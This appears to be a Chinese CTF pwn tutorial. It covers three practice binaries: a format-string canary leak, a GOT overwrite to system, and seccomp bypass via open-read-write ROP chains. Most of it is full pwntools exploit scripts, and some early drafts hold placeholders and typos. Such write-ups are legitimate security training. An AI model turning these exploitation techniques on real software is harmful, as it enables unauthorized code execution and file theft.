通过三道例题学习一下格式化字符串漏洞和orw(沙盒),所有例题需要附件可以私信我
pwn1:泄露内存
checksec查看信息
拖入ida审计代码
首先读入八个字节,在打印出读入的东西,这里printf是存在漏洞的,然后在读入我们输入的数据给v4,判断v4和v6是否相等,相等则获得权限。这里v6就是一个canary,我们可以利用格式化字符串漏洞泄露canary
from pwn import*
p=process('./pwn1')
context.log_level='debug'
payload=b'%11$p'
p.sendline(payload)
p.recvuntil('0x')
canary=int(p.recv(16),16)
#gdb.attach(p)
print(hex(canary))
payload=str(canary)
p.sendline(payload)
p.interactive()
这里的偏移一次次尝试即可。
pwn2: 修改got表
拖入ida
发现read读入0x100个字节,没法栈溢出,打印我们输入的数据,打印$0,这里说一下$0=/bin/sh,所以我们只需要把put的地址改为system的即可
可以看到ida里面是没有system的,我们需要去泄露libc地址。 先去计算偏移
偏移为6
但是程序只能够读入一次数据,我们泄露完libc地址程序就结束了。emmmm,接下来就很奇妙了,我们把puts的地址改为main函数的地址,程序是不是就可以无限输入了。
尝试一下
from pwn import*
context(log_level = 'debug',arch = 'amd64')
p=process('./pwn2')
elf=ELF('./pwn2')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
rdi=0x00000000004012a3
main=0x4011dd
payload = fmtstr_payload(6,{elf.got['puts']:main})
#gdb.attach(p)
p.sendline(payload)
p.interactive()
发现程序确实可以多次读入数据了。
pay=b'%7$saaaa'+p64(elf.got['read'])
p.sendline(pay)
read_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(read_addr))
libc_base=read_addr-libc.sym['read']
接受read的地址计算出基址,得到system的地址,在利用偏移将main的地址修改为system的地址,执行$0获得权限
from pwn import*
context(log_level = 'debug',arch = 'amd64')
p=process('./pwn2')
elf=ELF('./pwn2')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
rdi=0x00000000004012a3
main=0x4011dd
payload = fmtstr_payload(6,{elf.got['puts']:main})
#gdb.attach(p)
p.sendline(payload)
pay=b'%7$saaaa'+p64(elf.got['read'])
p.sendline(pay)
read_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(read_addr))
libc_base=read_addr-libc.sym['read']
one_gadget=libc_base+0x4c5d0
system=libc_base+libc.sym['system']
payload = fmtstr_payload(6,{elf.got['puts']:system})
p.sendline(payload)
p.interactive()
pwn3:orw
拖入ida审计代码
打印puts的地址,read读入0x200个字节
这里我们利用seccomp-tools可以分析程序的seccomp状态,哪些被系统被禁用了安装
安装流程:
sudo apt install gcc ruby-dev
gem install seccomp-tools
当我们执行了execve返回0003杀死程序,所以我们是无法通过正常的方法获得权限的,这里我们就要换一种方法了,构造orw,构造orw需要open,read,write三个函数,通俗来说就是利用open打开flag文件,read读取里面的内容,再通过write将其打印出来,并不需要获得权限即可得到flag。
接下来就开始实操。
程序已经泄露了puts的地址,我们只需要接收地址计算出libc基址即可,这里read并不能读取多数字节,我们可以联想到栈迁移的知识,修改rbp实现任意地址写
from pwn import*
context(log_level = 'debug',arch = 'amd64')
p=process('./pwn1')
elf=ELF('./pwn1')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
rdi=0x00000000004012c3
p.recvuntil('0x')
aaa=int(p.recv(12),16)
print(hex(aaa))
bss=0x404040+0x200
payload=b'a'*(0x20)+p64(bss+0x20)+p64(0x401220)
p.sendline(payload)
libc_base=aaa-libc.sym['puts']
print(hex(libc_base))
p.interactive()
接下来我们就可以开始构造orw了
构造orw也是有两种方法的,第一种是利用mprotect函数修改权限,另一种就是直接调用三个函数
先讲mprotect
mprotect=libc_base+libc.sym['mprotect']
rsi=libc_base+0x0000000000029419
rdx—r12=libc_base+0x0000000000084565
payload=b'a'*(0x108)+p64(rdi)+p64(0x404000)+p64(rsi)+p64(0x1000)+p64(rdx—r12)+p64(7)*2+p64(mprotect)+p64(xxxxxx)
payload += asm(shellcraft.open('/flag'))
payload += asm(shellcraft.read(3,bss+0x700,0x100))
payload += asm(shellcraft.write(1,bss+0x700,0x100))
p.sendline(payload)
p.interactive()
利用mprotect函数将页权限修改为可读可写可执行。将我们构造的orw写入bss段内,但是此时我们是无法执行orw的,他们只是被写入了栈内,并没有执行,我们需要将他们的起始地址作为mprotect函数的返回地址,执行命令。
进入gdb调试,找到orw的起始地址
这里就是我们构造的orw,这里是有一个pop的操作的,所以我们的返回地址是0x4042a8+8
打印出来flag
from pwn import*
context(log_level = 'debug',arch = 'amd64')
p=process('./pwn1')
elf=ELF('./pwn1')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
rdi=0x00000000004012c3
p.recvuntil('0x')
aaa=int(p.recv(12),16)
print(hex(aaa))
bss=0x404040+0x200
payload=b'a'*(0x20)+p64(bss+0x20)+p64(0x401220)
p.sendline(payload)
libc_base=aaa-libc.sym['puts']
print(hex(libc_base))
mprotect=libc_base+libc.sym['mprotect']
rsi=libc_base+0x0000000000029419
rdx=libc_base+0x0000000000084565
payload=b'a'*(0x28)+p64(rdi)+p64(0x404000)+p64(rsi)+p64(0x1000)+p64(rdx)+p64(7)*2+p64(mprotect)+p64(0x4042a8+8)
payload += asm(shellcraft.open('/flag'))
payload += asm(shellcraft.read(3,bss+0x700,0x100))
payload += asm(shellcraft.write(1,bss+0x700,0x100))
#gdb.attach(p)
p.sendline(payload)
p.interactive()
需要注意,我们要在本地运行,是需要在根目录下放一个flag文件的
接下来是第二种方法,直接构造三个函数
完整exp如下:
from pwn import*
context(os='linux',arch='amd64',log_level='debug')
elf=ELF('./pwn1')
p = process("./pwn1")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
rdi=0x00000000004012c3
bss=0x404040+0x200
p.recvuntil(b'0x')
libc_base=int(p.recv(12),16)-libc.sym['puts']
print(hex(libc_base))
payload = b'a'*0x20+p64(bss+0x20)+p64(0x401220)
p.send(payload)
rdx_r12=0x0000000000119431+libc_base
rsi=0x000000000002601f+libc_base
open_addr=libc_base+libc.sym['open']
read_addr=libc_base+libc.sym['read']
write_addr=libc_base+libc.sym['write']
payload = b'a'*(0x20)+b'/flag\x00\x00\x00'
payload += p64(rdi)
payload += p64(bss+0x20)
payload += p64(rsi)
payload += p64(0)
payload += p64(open_addr)
#构造open函数
payload += p64(rdi)
payload += p64(3)
payload += p64(rsi)
payload += p64(bss+0x700)
payload += p64(rdx_r12)
payload += p64(0x100)*2
payload += p64(read_addr)
#构造read函数
payload += p64(rdi)
payload += p64(1)
payload += p64(rsi)
payload += p64(bss+0x700)
payload += p64(rdx_r12)
payload += p64(0x100)*2
payload += p64(write_addr)
#构造write函数
p.sendline(payload)
p.interactive()
根据libc基址得到open,read,write函数的地址,构造函数。
我们是把flag文件位置放在了rbp那里,因此open函数读取bss+0x20的内容。
两种方法中read函数的第一个参数都是3,这是固定的。但是write函数的第一个参数是可以随便写的。